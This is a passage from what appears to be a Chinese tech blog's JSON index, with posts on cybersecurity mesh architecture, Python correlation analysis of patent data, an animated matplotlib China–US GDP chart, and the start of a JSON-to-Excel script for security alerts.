4个安全基础设施使不同的安全工具能够基于该基础设施协同工作并实现统一的配置和管理，提高安全工具的可组合性、可扩展性和互操作性，解决多种安全工具在各个孤立体系中运行时所带来的问题，实现各种安全能力的有机聚合，适应业务发展需要并达到“力量倍增”的效果。\n网络安全网格架构的组成如上图图所示，4 个基础支撑层之间以及与其他安全系统之间的关系如下：\n安全分析与情报层。可与来自第三方的安全工具开展联合协同检测，基于丰富的威胁分析手段，结合威胁情报，利用机器学习等技术形成更加准确一致的威胁分析结果。 统一策略管理层。主要包括安全策略编排和安全态势管理，将集中的策略转换为各个安全工具的本地配置策略，实现分布式执行，并支持动态策略管理服务。 整合操控界面层。实现安全数据可视化，提供安全系统复合视图，主要包括统一的控制面板、告警、审查、指导手册和报告等，使安全团队能够更快速、更有效地响应安全事件。 身份架构层。主要提供目录服务、自适应访问以及去中心化的身份管理、身份验证和授权管理等功能，支撑构建适合用户需求的零信任网络架构。 网络安全网格是在物理网络之上构建的逻辑层，网络安全架构的应用视图如下图所示，直观展示了在逻辑层中通过对各种安全能力的编排、执行，使得各种安全工具基于 4 个安全基础层实现互操作，提供统一的安全管控和可见性，而不是在孤岛中运行每个安全工具，从而构建一个能在庞大的安全生态中协同运行，且自动适应网络环境演化的安全平台。 三、主要特点 网络安全网格主要涉及设计和建设 IT 安全基础设施，采用“水平”分布式方式将各种安全能力集成到网络中，而不是采用传统的“自上而下”、各种安全设备“一应俱全”的集成方式，致力于构建一个能在庞大的安全生态系统中协同运行，且自动适应网络环境演化的全面覆盖、统一管控、动态协同和快速响应的安全平台。\n通用集成框架。网络安全网格提供一种通用的集成框架和方法，实现类似“乐高”化思维的灵活、可组合、可扩展的安全架构。通过标准化工具支持可互操作的各种安全服务编排和协同，从而实现广泛分布的不同安全服务的高效集成，建立起合作的安全生态系统来保护处于本地、数据中心和云中的数字资产，并基于数据分析、情报支持和策略管理等能力的聚合形成更加强大的整体安全防御和响应处置能力。\n分布式网络架构。网络安全网格利用了“网格”的去中心化、对等协作、结构灵活、连接可靠、扩展性强等优势，不再侧重于围绕所有设备或节点构建“单一”边界，而是围绕每个接入点创建更小的、单独的边界 [5-6]。通过建立与接入点同样多的安全边界，保证物理位置广泛分布的用户能随时随地安全接入，符合零信任网络中的“微分段”要求，使得网络犯罪分子和黑客更难利用整个网络。同时，网络中主客体之间在逻辑上都是点对点直连关系，无须关注具体的物理网络部署，能够简化安全配置且能自动适应网络动态变化。\n集中管理与分散执行。与传统的网关集中访问控制不同，网络安全网格采用了集中的策略编排和权限管理，基于策略分布式的执行，将网络安全控制能力分布到网络的更多地方，使安全措施更接近需要保护的资产，一方面，有利于消除安全管控盲点，缓解传统集中安全控制存在的性能处理瓶颈，适应用户终端和组织业务分散化发展需要；另一方面，有利于实现全局的安全威胁分析，形成更加一致的安全态势，从而实现更加精准的安全管控和更加快速的响应处置。\n围绕身份定义安全边界。在当前网络协议中，因缺失身份要素带来了很多安全问题，物理 IP 地址与人和终端的关联性越来越弱，导致基于地址、流量、日志的安全检测和威胁分析技术难以实现针对人的威胁研判；基于网络协议字段特征检测的传统边界访问控制技术，同样使得基于身份的授权访问成为天方夜谭。由于网络威胁本质上是人带来的威胁，因此难以实现精准高效的安全威胁处置。网络安全网格延续了零信任网络的思想，用身份定义网络边界，让身份成为威胁研判与安全管控的基础。\n四、应用场景 网络安全网格的应用场景包括：\n云安全：网络安全网格可用于跨多个云环境提供综合的安全管理和保护，确保云服务的安全性和合规性。 边缘安全：网络安全网格可以应用于边缘计算环境，以提供安全的边缘设备管理、数据保护和边缘网络保护。 供应链安全：通过网络安全网格，可以实现供应链中各个环节的安全协同，共享安全信息，降低供应链中的安全风险。 物联网安全：网络安全网格可以为物联网设备和系统提供统一的安全管理和保护，保障物联网环境的安全性和可信度。 五、价值和优势 网络安全网格的主要价值包括：\n综合安全保护：网络安全网格可以集成多个安全控制系统和服务，提供全面的安全保护，从网络边界到终端设备，覆盖各个层面和环节的安全需求。 动态适应能力：网络安全网格具备弹性和动态适应的特性，能够快速识别和响应新的威胁，并自动调整安全策略和控制措施以提供即时和有效的保护。 协同合作：网络安全网格促进了不同安全系统和服务之间的协同合作和信息共享。通过共享威胁情报和安全事件信息，提高整体的安全防御能力，并加强各方之间的合作与配合。 可扩展性和灵活性：网络安全网格具备高度的可扩展性，可以根据实际需求快速部署和调整安全控制系统，适用于各种规模和复杂度的网络环境。 网络安全网格与传统网络安全方法在以下几个方面存在区别：\n集成性：传统网络安全方法通常是独立而孤立的解决方案，每个安全设备或系统都有自己的管理界面和策略。而网络安全网格强调集成不同的安全控制系统和服务，通过连接和协同工作来提供综合的安全保护，实现整体的安全扩展性和一致性。 动态适应性：传统网络安全方法通常是静态的，在部署后很少变动，而网络安全网格具备弹性和动态适应的特性。它可以根据实际需求自动调整安全策略和控制措施，灵活应对不断变化的威胁环境。 协同合作：传统网络安全方法主要依赖于各个安全设备或系统的独立工作，缺乏跨系统的协同合作。而网络安全网格通过实现安全控制系统和服务之间的协同和信息共享，提高整体的安全防御能力，并加强各方之间的合作与配合。 统一视图和管理：传统网络安全方法通常需要使用多个不同的管理界面来管理各个安全设备或系统，使得安全管理变得复杂而繁琐。而网络安全网格提供统一的视图和管理平台，使得管理员可以更便捷地管理和监控整个安全环境，提高管理效率和反应速度。 灵活性和可扩展性：传统网络安全方法在部署和扩展时通常需要考虑设备间的兼容性和差异性。而网络安全网格具备高度的灵活性和可扩展性，可以根据实际需求灵活部署和调整安全控制系统，适用于各种规模和复杂度的网络环境。 网络安全网格架构的优势主要体现以下几个方面：\n实现更加可靠的安全防御。网络安全网格摒弃了传统的边界防护思想，不仅是围绕网络数据中心、服务中心构建“边界”，还围绕每个接入点创建更小的、独立的边界，并由集中的控制中心进行统一管理，从而将安全控制扩展到广泛分布的资产，在提高威胁应对能力的同时，增强了安全系统的可扩展性、灵活性和弹性。 应对复杂环境下的安全需求。通过网络安全策略集中编排但分散执行的方法，在统一的安全策略控制下，提供一种灵活且易于扩展的安全基础架构，可为混合云和多云等复杂环境中的资产保护提供所需的安全能力。 实现更加高效的威胁处置。通过安全工具集成，加强了安全数据采集和预测分析之间的协作，可以更加快速、准确地获取安全态势，及时发现并应对安全威胁，可大幅度增强对违规和攻击事件的响应处置能力。 构建更加开放的安全架构。提供了一种可编排的通用集成框架和方法，支持各类安全服务之间的协同工作，用户可自主选择当前和新兴的安全技术与标准，面向云原生和应用程序接口（Application Programming Interface，API） 插 件的环境更加易于集成，便于定制与扩展，能有效弥补不同供应商安全方案之间的能力差距。 降低建设维护的成本与难度。用户可以有效减少管理一组庞大的孤立安全解决方案的开销，同时，安全能力部署和维护所需的时间更少、成本更低，易于与用户已建设的身份识别与访问管理（Identity and Access Management，IAM）、安全信息和事件管理（Security Information and Event Management，SIEM）、 安 全运营中心（Security Operations Center，SOC）、态势感知等安全系统共存，也方便对接已建设的专线、软件定义广域网（Software-Defined Wide Area Network，SD-WAN）等网络服务。 博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-09-11-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%BD%91%E6%A0%BC%E6%9E%B6%E6%9E%84csma/","summary":"\u003cp\u003e“网络安全网格（CyberSecurity Mesh）”是 Gartner 提出的网络安全技术发展新趋势，近两年连续入选其年度重要战略技术趋势研究报告，成为当前网络安全领域流行的热词，受到网络安全从业者的高度关注。\u003c/p\u003e","title":"网络安全之认识网络安全网格架构（CSMA）"},{"content":"平时在做数据分析的时候，会要对特征进行相关性分析，分析某些特征之间是否存在相关性。本文将通过一个实例来对数据进行相关性分析与展示。\n一、数据集介绍 本次分析的是企业合作研发模式效果分析，企业的合作研发大致分为 企企合作、企学合作、企研合作、企学研合作，也就是企业与企业合作研发、企业与大学合作研发、企业与研究所合作研法、企业联合学校、研究所共同合作研发。现在就是想通过数据分析来看看那种合作研发模式的效果最好，产出最佳。\n数据集是从公开网站获取的公开的专利信息，包括专利的公告日期、专利评分、专利估值，这些指标说明了专利的价值。 二、数据整理和探索 有了数据后先对数据进行整理，在这里我们用II表示企企合作、IU表示企学合作、IR表示企研合作、IUR表示企学研合作。 先导入python数据分析三大件numpy、pandas、matplotlib\n1 2 3 4 5 import numpy as np import pandas as pd import matplotlib.pyplot as plt plt.rcParams[\u0026#34;font.sans-serif\u0026#34;]=[\u0026#34;SimHei\u0026#34;] #设置字体 plt.rcParams[\u0026#34;axes.unicode_minus\u0026#34;]=False #该语句解决图像中的“-”负号的乱码问题 对数据进行整理，将“有效”的数据检索出来，将合作研发的模式标识出来\n1 2 3 4 5 6 7 8 9 10 11 II_data_original=pd.read_excel(r\u0026#39;./data/绿色低碳专利企企合作申报总数据_21578_2023-03-11.xlsx\u0026#39;) #企企合作 IU_data_original=pd.read_excel(r\u0026#39;./data/绿色低碳专利企学合作申报总数据_6451_2023-03-11.xlsx\u0026#39;) #企学合作 IR_data_original=pd.read_excel(r\u0026#39;./data/绿色低碳专利企研合作申报总数据_1706_2023-03-11.xlsx\u0026#39;) #企研合作 IUR_data_original=pd.read_excel(r\u0026#39;./data/绿色低碳专利企学研合作申报总数据_241_2023-03-11.xlsx\u0026#39;) #企学研合作 II_data_original[\u0026#39;class_type\u0026#39;]=\u0026#39;II\u0026#39; IU_data_original[\u0026#39;class_type\u0026#39;]=\u0026#39;IU\u0026#39; IR_data_original[\u0026#39;class_type\u0026#39;]=\u0026#39;IR\u0026#39; IUR_data_original[\u0026#39;class_type\u0026#39;]=\u0026#39;IUR\u0026#39; data_original=II_data_original.append([IU_data_original,IR_data_original,IUR_data_original]) data_original=data_original[(data_original.法律有效性==\u0026#39;有效\u0026#39;)] data_original 对日期进行处理，我们以年度为单位来分析每年各企业合作研发模式的数据，所以将日期处理成“年”为单位。\n1 2 3 4 #处理日期 data_original[\u0026#39;date\u0026#39;]=pd.to_datetime(data_original[\u0026#39;公开(公告)日\u0026#39;],format=\u0026#34;%Y%m%d\u0026#34;) data_original[\u0026#39;year\u0026#39;]=data_original[\u0026#39;date\u0026#39;].dt.strftime(\u0026#39;%Y\u0026#39;) data_original 我们只需要分析相应的专利质量的指标，这里与专利质量相关的指标大致为引文数量、专利估值、专利评分。然后以年度为单位来看看数据。\n1 2 3 4 5 6 7 8 9 10 11 data_group=data_original.groupby([\u0026#39;year\u0026#39;,\u0026#39;class_type\u0026#39;]).size() df_data_group=data_group.unstack() data_group_count=data_original.groupby([\u0026#39;year\u0026#39;]).size() data_group_quotecount=data_original[[\u0026#39;year\u0026#39;,\u0026#39;引文数量总计\u0026#39;]].groupby([\u0026#39;year\u0026#39;]).sum() #引文数量 data_group_value=data_original[[\u0026#39;year\u0026#39;,\u0026#39;专利估值\u0026#39;]].groupby([\u0026#39;year\u0026#39;]).mean() #专利估值 data_group_grade=data_original[[\u0026#39;year\u0026#39;,\u0026#39;专利评分\u0026#39;]].groupby([\u0026#39;year\u0026#39;]).mean() #专利评分grade df_data_group[\u0026#39;count\u0026#39;]=data_group_count df_data_group[\u0026#39;quotecount\u0026#39;]=data_group_quotecount df_data_group[\u0026#39;value\u0026#39;]=data_group_value df_data_group[\u0026#39;grade\u0026#39;]=data_group_grade df_data_group 历年（2004-2022年）专利的合作模式的专利数量增长趋势\n1 df_data_group.plot.bar(y=[\u0026#39;II\u0026#39;,\u0026#39;IR\u0026#39;,\u0026#39;IU\u0026#39;,\u0026#39;IUR\u0026#39;],figsize=(32,4),stacked=True) 历年（2015-2022年）的合作模式的专利数量对比情况\n1 df_data_group[\u0026#39;2015\u0026#39;:\u0026#39;2022\u0026#39;].plot.bar(y=[\u0026#39;II\u0026#39;, \u0026#39;IR\u0026#39;, \u0026#39;IU\u0026#39;, \u0026#39;IUR\u0026#39;], figsize=(32, 4)) 从数据上可以看出，从2004年-2021年前些年，企业的研发模式是比较单一的，2004-2008年大部分都是企企合作的研发模式，其他研发模式先对比较少。从2004年-2021年，随着我国企业对研发的投入力度也来越大，专利的数量是逐年递增的，研发模式也逐步的多样化起来，但还是以企企合作和企学合作为主。\n三、数据相关性分析与展示 因为从数据上看，从2015年以后各种研发模式逐步的多样化起来，所以我们来看一下2015年以后研发模式与研发质量各项指标的相关性。 通过numpyde的corrcoef()方法可以很方便的计算出各个特征之间的相关性系数，得出相关性矩阵。\n1 2 ruslut=np.corrcoef(df_data_group[\u0026#39;2015\u0026#39;:\u0026#39;2022\u0026#39;],rowvar=False) ruslut 看数据肯定没有看图形直观，所以我们将这个相关性矩阵进行可视化的展示。这里用seaborn来做数据的图形化展示。\n1 2 3 4 import seaborn as sns figure, ax = plt.subplots(figsize=(12, 12)) df=df_data_group[\u0026#39;2015\u0026#39;:\u0026#39;2022\u0026#39;] sns.heatmap(df.corr(), square=True, annot=True, ax=ax) 这里可以看出企企合作和企学合作的数量相关性比较高，而企研合作value和grade具有相关性，说明企研合作模式的研发质量相对来说比较好。\n最后，我们来看一下专利TOP20的单位研发类型分布、估值TOP20的专利的研发类型分布、评分TOP20的专利、研发类型的分布。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 data_countbyComp=data_original[[\u0026#39;第一申请人-原文\u0026#39;,\u0026#39;class_type\u0026#39;]].groupby([\u0026#39;第一申请人-原文\u0026#39;]).size() df_data_countbyComp=pd.DataFrame(data_countbyComp,columns=[\u0026#39;counts\u0026#39;]) df_data_countbyCompTOP=df_data_countbyComp.sort_values(\u0026#39;counts\u0026#39;,ascending=False)[0:10] count_top=data_original[(data_original[\u0026#39;第一申请人-原文\u0026#39;].isin(df_data_countbyCompTOP.index.values))] value_top=data_original.sort_values(\u0026#39;专利估值\u0026#39;,ascending=False)[0:10] grade_top=data_original.sort_values(\u0026#39;专利评分\u0026#39;,ascending=False)[0:10] count_top_show=count_top.groupby([\u0026#39;class_type\u0026#39;]).size() value_top_show=value_top.groupby([\u0026#39;class_type\u0026#39;]).size() grade_top_show=grade_top.groupby([\u0026#39;class_type\u0026#39;]).size() grade_top_show.index.values fig, axs = plt.subplots(1, 3,figsize=(18, 18)) axs[0].pie(count_top_show,labels=count_top_show.index.values,autopct=\u0026#39;%.2f%%\u0026#39;,explode=(0.05,0, 0, 0)) axs[0].set(title=\u0026#39;数量TOP20的单位,研发类型分布\u0026#39;) axs[1].pie(value_top_show,labels=value_top_show.index.values,autopct=\u0026#39;%.2f%%\u0026#39;,explode=(0, 0, 0.05)) axs[1].set(title=\u0026#39;估值TOP20的专利,研发类型分布\u0026#39;) axs[2].pie(grade_top_show,labels=grade_top_show.index.values,autopct=\u0026#39;%.2f%%\u0026#39;,explode=(0.05, 0, 0)) axs[2].set(title=\u0026#39;评分TOP20的专利,研发类型分布\u0026#39;) 这里可以看出数量上还是以企企合作研发的模式最多，但是从专利的估值评分来看企学的专利估值占比最高。说明从 企企合作、企学合作、企研合作、企学研合作的这些企业合作研发模式看，企企合作研发数量最多，企学合作研发的质量相对较高。\n至此，本文通过一个实例介绍了用python通过数据分析三件套numpy、pandas、matplotlib进行数据相关性分析的过程。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-08-31-python%E8%BF%9B%E8%A1%8C%E6%95%B0%E6%8D%AE%E7%9B%B8%E5%85%B3%E6%80%A7%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e平时在做数据分析的时候，会要对特征进行相关性分析，分析某些特征之间是否存在相关性。本文将通过一个实例来对数据进行相关性分析与展示。\u003c/p\u003e\n\u003ch2 id=\"一数据集介绍\"\u003e一、数据集介绍\u003c/h2\u003e\n\u003cp\u003e本次分析的是企业合作研发模式效果分析，企业的合作研发大致分为 企企合作、企学合作、企研合作、企学研合作，也就是企业与企业合作研发、企业与大学合作研发、企业与研究所合作研法、企业联合学校、研究所共同合作研发。现在就是想通过数据分析来看看那种合作研发模式的效果最好，产出最佳。\u003c/p\u003e","title":"Python进行数据相关性分析实战"},{"content":"随着中国的各种实力的提高，经常在各种媒体上看到中国与各个国家历年的各种指标数据的对比，为了更清楚的展示历年的发展趋势，有的还做成了动图，看到中国各种指标数据的近年的不断逆袭，心中的自豪感油然而生。今天通过Python来实现matplotlib的动态绘图，将中美两国近年的GDP做个对比，展示中国GPD对美国的追赶态势，相信不久的将来中国的GDP数据将稳超美国。\n效果如下： 实现上面的动态绘图效果，综合用到了pandas的数据采集、数据整理、matplotlib绘图、坐标轴及数据的动态定义、定时器等知识。最终通过Python的GUI库PySide进行展示形成一个GUI的可执行程序。\n一、数据采集和准备 中美历年的GDP数据通过百度在网上一搜一大把。我是从https://www.kylc.com/stats/global/yearly_per_country/g_gdp/chn-usa.html 找到的数据。将数据整理成EXCEL保存至data\\中国VS美国.xlsx。 有从1966年至2022年的中美GDP的数据。 首先对这些数据进行整理，因为获取的GDP数据是字符串类型如17.96万亿 (17,963,170,521,079)，我们需要将GDP的数据从文本中提取出来，也就是取括号中的数据。 这里通过正则表达式将括号中的GDP数据提取出来，并转换为亿元为单位。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import re import pandas as pd import locale import matplotlib.pyplot as plt pattern = re.compile(\u0026#39;\\((\\S*)\\)\u0026#39;) def getgdpvalue(gdpstr): re_obj=pattern.search(gdpstr) gdp_value=locale.atof(re_obj.group(1))/100000000 return gdp_value df_data = pd.read_excel(\u0026#39;data\\中国VS美国.xlsx\u0026#39;) df_data = df_data.loc[1:len(df_data)] df_data[\u0026#39;china_gdp_value\u0026#39;] = df_data[\u0026#39;中国\u0026#39;].map(getgdpvalue) df_data[\u0026#39;us_gdp_value\u0026#39;] = df_data[\u0026#39;美国\u0026#39;].map(getgdpvalue) df_data = df_data.sort_values(\u0026#39;年份\u0026#39;) 有了数据以后就可以通过数据绘图了。\n二、matplotlib绘图 先通过matplotlib绘图看看数据的效果。\n1 2 3 4 5 6 7 8 import matplotlib.pyplot as plt plt.figure() plt.plot(df_data[\u0026#39;年份\u0026#39;],df_data[\u0026#39;china_gdp_value\u0026#39;]) plt.plot(df_data[\u0026#39;年份\u0026#39;],df_data[\u0026#39;us_gdp_value\u0026#39;]) plt.title(\u0026#39;中美GDP对比\u0026#39;) plt.xlabel(\u0026#39;年份\u0026#39;) plt.ylim(\u0026#39;GDP（亿）\u0026#39;) plt.show() 可以看到中国的GDP数据在1960年至1990年都是比较平稳的，到了1990年后中国开始了爆发式的追赶模式。 我们要将这种趋势通过动态的方式展示出来。\n三、数据展示与动态更新 首先通过QMainWindw定义QWidget组件，在QWidget中加入FigureCanvasQTAgg组件通过canvas载入matplotlib绘图。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 class ApplicationWindow(QMainWindow): def __init__(self, parent=None,org_data=None): QMainWindow.__init__(self, parent) self.axes = None self.axis_china=None self.axis_us=None self.datacount=10 self.org_data = org_data self.auto_offset = 0 # Central widget self._main = QWidget() self.setCentralWidget(self._main) # Figure self.canvas = FigureCanvasQTAgg(figure) if len(self.org_data) \u0026gt; 0: show_data = self.org_data[0:self.datacount] self.axes = self.canvas.figure.subplots() self.axes.set_title(\u0026#39;中美GDP对比\u0026#39;) self.axis_china = self.axes.plot(show_data[\u0026#39;年份\u0026#39;], show_data[\u0026#39;china_gdp_value\u0026#39;], label=\u0026#39;中国GDP\u0026#39;) self.axis_us = self.axes.plot(show_data[\u0026#39;年份\u0026#39;], show_data[\u0026#39;us_gdp_value\u0026#39;], label=\u0026#39;美国GDP\u0026#39;) y_max = max(self.org_data[\u0026#39;us_gdp_value\u0026#39;].max(), self.org_data[\u0026#39;china_gdp_value\u0026#39;].max()) self.axes.set_ylabel(\u0026#39;GDP(亿元)\u0026#39;) self.axes.set_xlabel(\u0026#39;年份\u0026#39;) self.axes.set_ylim(0, y_max) self.axes.set_xlim(show_data[\u0026#39;年份\u0026#39;].min(), show_data[\u0026#39;年份\u0026#39;].max()) self.axes.legend(loc=\u0026#34;upper left\u0026#34;) self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000)) self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1)) figure.tight_layout() # 自动调整子图参数，使之填充整个图像区域 # 下拉框，选择模式 # ComboBox (combo_type) self.combo_type = QComboBox() self.combo_type.addItems([\u0026#39;自动播放\u0026#39;, \u0026#39;手动播放\u0026#39;]) # Sliders min_value = 0 self.max_value = len(self.org_data)-cur_data_len self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条 layout1 = QHBoxLayout() layout1.addWidget(self.combo_type) # layout layout2 = QVBoxLayout() layout2.addWidget(self.canvas, 88) layout2.addWidget(self.slider_update) # Main layout layout = QVBoxLayout(self._main) layout.addLayout(layout1) layout.addLayout(layout2, 100) self.canvas.draw() # Signal and Slots connections self.combo_type.currentTextChanged.connect(self.selecttype) self.slider_update.valueChanged.connect(self.update_frequency) self.autoslider() 一种方式是通过QSlider组件，通过手动拉slider组件来实现数据的变化，一种通过QTimer组件自动让数据变化。\n1、QSlider组件，手动方式实现动态绘图 1 2 3 4 5 6 7 8 9 10 11 12 13 @Slot() def update_frequency(self, new_val): # 偏移量每次偏移1 f = int(new_val) offset = f + cur_data_len # 偏移刻度 show_data = self.org_data[f: offset] x = show_data[\u0026#39;年份\u0026#39;] y_china = show_data[\u0026#39;china_gdp_value\u0026#39;] y_us = show_data[\u0026#39;us_gdp_value\u0026#39;] self.axes.set_xlim(x.min(), x.max()) self.axis_china[0].set_data(x, y_china) self.axis_us[0].set_data(x, y_us) self.canvas.draw() 手动拉slider组件来实现数据的变化效果： 2、QTimer组件，自动动态绘图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 self.autoslider() def autoslider(self): self.timer = QTimer() self.timer.setInterval(100) # 100毫秒更新一次数据 self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1，也就是跳一年的数据 self.timer.start() def autoupdate(self): self.update_frequency(self.auto_offset) self.slider_update.setSliderPosition(self.auto_offset) if self.auto_offset \u0026lt; self.max_value: self.auto_offset = self.auto_offset+1 else: self.auto_offset = 0 效果如文章最前面所示。\n四、完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 import re import sys import pandas as pd import locale import matplotlib.ticker as mticker from PySide6.QtCore import Qt, Slot, QTimer from PySide6.QtWidgets import QMainWindow, QApplication, QVBoxLayout, QHBoxLayout, QWidget, QSlider, QComboBox from matplotlib.backends.backend_qtagg import FigureCanvasQTAgg from matplotlib.figure import Figure figure = Figure(figsize=(12, 6), dpi=90) global cur_data_len, cur_major_locator cur_data_len = 10 # 当前显示的数据量（显示10年的数据） cur_major_locator = 10 # 当前刻度的定位器（主刻度） pattern = re.compile(\u0026#39;\\((\\S*)\\)\u0026#39;) def getgdpvalue(gdpstr): re_obj=pattern.search(gdpstr) gdp_value=locale.atof(re_obj.group(1))/100000000 return gdp_value class ApplicationWindow(QMainWindow): def __init__(self, parent=None,org_data=None): QMainWindow.__init__(self, parent) self.axes = None self.axis_china=None self.axis_us=None self.datacount=10 self.org_data = org_data self.auto_offset = 0 # Central widget self._main = QWidget() self.setCentralWidget(self._main) # Figure self.canvas = FigureCanvasQTAgg(figure) if len(self.org_data) \u0026gt; 0: show_data = self.org_data[0:self.datacount] self.axes = self.canvas.figure.subplots() self.axes.set_title(\u0026#39;中美GDP对比\u0026#39;) self.axis_china = self.axes.plot(show_data[\u0026#39;年份\u0026#39;], show_data[\u0026#39;china_gdp_value\u0026#39;], label=\u0026#39;中国GDP\u0026#39;) self.axis_us = self.axes.plot(show_data[\u0026#39;年份\u0026#39;], show_data[\u0026#39;us_gdp_value\u0026#39;], label=\u0026#39;美国GDP\u0026#39;) y_max = max(self.org_data[\u0026#39;us_gdp_value\u0026#39;].max(), self.org_data[\u0026#39;china_gdp_value\u0026#39;].max()) self.axes.set_ylabel(\u0026#39;GDP(亿元)\u0026#39;) self.axes.set_xlabel(\u0026#39;年份\u0026#39;) self.axes.set_ylim(0, y_max) self.axes.set_xlim(show_data[\u0026#39;年份\u0026#39;].min(), show_data[\u0026#39;年份\u0026#39;].max()) self.axes.legend(loc=\u0026#34;upper left\u0026#34;) self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000)) self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1)) figure.tight_layout() # 自动调整子图参数，使之填充整个图像区域 # 下拉框，选择模式 # ComboBox (combo_type) self.combo_type = QComboBox() self.combo_type.addItems([\u0026#39;自动播放\u0026#39;, \u0026#39;手动播放\u0026#39;]) # Sliders min_value = 0 self.max_value = len(self.org_data)-cur_data_len self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条 layout1 = QHBoxLayout() layout1.addWidget(self.combo_type) # layout layout2 = QVBoxLayout() layout2.addWidget(self.canvas, 88) layout2.addWidget(self.slider_update) # Main layout layout = QVBoxLayout(self._main) layout.addLayout(layout1) layout.addLayout(layout2, 100) self.canvas.draw() # Signal and Slots connections self.combo_type.currentTextChanged.connect(self.selecttype) self.slider_update.valueChanged.connect(self.update_frequency) self.autoslider() def autoslider(self): self.timer = QTimer() self.timer.setInterval(100) # 100毫秒更新一次数据 self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1，也就是跳一年的数据 self.timer.start() def autoupdate(self): self.update_frequency(self.auto_offset) self.slider_update.setSliderPosition(self.auto_offset) if self.auto_offset \u0026lt; self.max_value: self.auto_offset = self.auto_offset+1 else: self.auto_offset = 0 @Slot() def selecttype(self, text): if \u0026#39;自动播放\u0026#39; == text: self.autoslider() elif \u0026#39;手动播放\u0026#39; == text: self.timer.stop() @Slot() def update_frequency(self, new_val): # 偏移量每次偏移1 f = int(new_val) offset = f + cur_data_len # 偏移刻度 show_data = self.org_data[f: offset] x = show_data[\u0026#39;年份\u0026#39;] y_china = show_data[\u0026#39;china_gdp_value\u0026#39;] y_us = show_data[\u0026#39;us_gdp_value\u0026#39;] self.axes.set_xlim(x.min(), x.max()) self.axis_china[0].set_data(x, y_china) self.axis_us[0].set_data(x, y_us) self.canvas.draw() if __name__ == \u0026#34;__main__\u0026#34;: app = QApplication(sys.argv) locale.setlocale(locale.LC_ALL, \u0026#39;en_US.UTF-8\u0026#39;) df_data = pd.read_excel(\u0026#39;data\\中国VS美国.xlsx\u0026#39;) df_data = df_data.loc[1:len(df_data)] df_data[\u0026#39;china_gdp_value\u0026#39;] = df_data[\u0026#39;中国\u0026#39;].map(getgdpvalue) df_data[\u0026#39;us_gdp_value\u0026#39;] = df_data[\u0026#39;美国\u0026#39;].map(getgdpvalue) df_data = df_data.sort_values(\u0026#39;年份\u0026#39;) w = ApplicationWindow(org_data=df_data) w.setFixedSize(1000, 500) w.show() app.exec() 六、总结 Python实现matplotlib动态绘图，是非常简单和容易的，其实关键还是在数据的组织，也就是要准备好要绘图的坐标轴的x的数据和y的数据，通过set_data(x,y)来动态更新数据，要注意的是变化的数据后X轴或Y轴的显示要变化，这里可以通过轴的set_xlim()或set_ylim()方法来动态设置，刻度也可通过set_major_locator()来指定。\n数据集见 http://image2.ishareread.com/images/2023/20230827/中国VS美国.xlsx\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-08-27-python%E9%80%9A%E8%BF%87matplotlib%E5%8A%A8%E6%80%81%E7%BB%98%E5%9B%BE%E5%AE%9E%E7%8E%B0%E4%B8%AD%E7%BE%8Egdp%E5%8E%86%E5%B9%B4%E5%AF%B9%E6%AF%94%E8%B6%8B%E5%8A%BF%E5%8A%A8%E5%9B%BE/","summary":"\u003cp\u003e随着中国的各种实力的提高，经常在各种媒体上看到中国与各个国家历年的各种指标数据的对比，为了更清楚的展示历年的发展趋势，有的还做成了动图，看到中国各种指标数据的近年的不断逆袭，心中的自豪感油然而生。今天通过Python来实现matplotlib的动态绘图，将中美两国近年的GDP做个对比，展示中国GPD对美国的追赶态势，相信不久的将来中国的GDP数据将稳超美国。\u003c/p\u003e","title":"Python通过matplotlib动态绘图实现中美GDP历年对比趋势动图"},{"content":"最近重保，经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的，就需要将json转成Excel。 用Python将json转成excel也就三行代码的事，先将json串导入形成字典对象，再通过pandas转成DataFrame直接输出excel。 实现如下：\n一、引包 引入pandas包，pandas写excel依赖openpyxl包所以也到导入\n1 2 pip install pandas pip install openpyxl 二、代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import json import pandas as pd json_data=r\u0026#39;\u0026#39;\u0026#39; { \u0026#34;msg\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;killChain\u0026#34;: \u0026#34;02\u0026#34;, \u0026#34;attackIllustration\u0026#34;: \u0026#34;1起恶意盲打木马写入攻击\u0026#34;, \u0026#34;traceSourceFlag\u0026#34;: \u0026#34;01\u0026#34;, \u0026#34;riskLevel\u0026#34;: \u0026#34;02\u0026#34;, 